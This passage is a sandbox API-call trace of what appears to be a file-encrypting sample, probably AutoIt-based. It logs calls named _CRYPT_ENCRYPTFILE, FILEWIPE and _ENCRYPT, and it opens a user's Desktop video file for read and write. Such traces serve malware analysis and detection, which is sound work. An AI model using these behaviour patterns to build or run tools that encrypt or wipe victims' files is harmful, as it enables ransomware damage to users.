lpMsg=0xe8f3dfe060) returned 0 [0023.489] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.489] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.489] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.489] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.489] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.489] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.489] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.489] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.489] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.489] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.489] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.489] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.489] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.489] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.489] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.489] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.489] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.489] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.489] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.489] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0023.489] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.489] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.489] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.489] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.489] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.489] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.491] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.491] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.493] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.493] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0023.493] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.493] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.493] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.493] CharLowerBuffW (in: lpsz="byte[66406]", cchLength=0xb | out: lpsz="byte[66406]") returned 0xb [0023.494] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.495] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0023.495] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.495] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0023.495] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.495] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.495] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.495] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0023.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.495] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.496] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0023.497] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileW", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileW", cchWideChar=12, lpMultiByteStr=0xe8f417ab80, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileW", lpUsedDefaultChar=0x0) returned 12 [0023.497] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileW") returned 0x7ffe2a641998 [0023.497] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\rvzc3jMnZDyKRdzF.mkv" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\rvzc3jmnzdykrdzf.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0023.497] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.498] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.498] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.499] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.499] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0023.500] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.500] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.500] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.500] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.500] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.500] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.500] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0023.501] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.501] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.501] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.501] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.501] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.503] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.503] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.503] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.503] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.503] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.503] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.503] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.503] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.503] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0023.503] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=1999) returned 1 [0023.503] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.503] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0023.503] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0023.503] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x7cf, lpOverlapped=0x0) returned 1 [0023.503] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0023.503] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x7cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.503] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=1999) returned 1 [0023.504] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.504] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.505] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.505] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.505] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.505] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0023.505] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.505] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0023.506] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.506] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.506] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0023.506] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.506] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.506] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0023.506] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.506] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0023.506] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0023.506] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.506] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.506] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.506] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.506] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.506] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.506] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0023.506] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.506] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.506] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.506] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.507] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.507] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.507] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.507] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.507] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.507] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.507] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.507] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.507] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.507] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.507] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.507] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0023.507] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.507] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.507] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.507] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.507] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.507] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0023.507] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.507] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633c0) returned 1 [0023.508] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.508] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.508] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0023.508] PeekMessageW (in: lpMsg=0xe8f3dfe800, 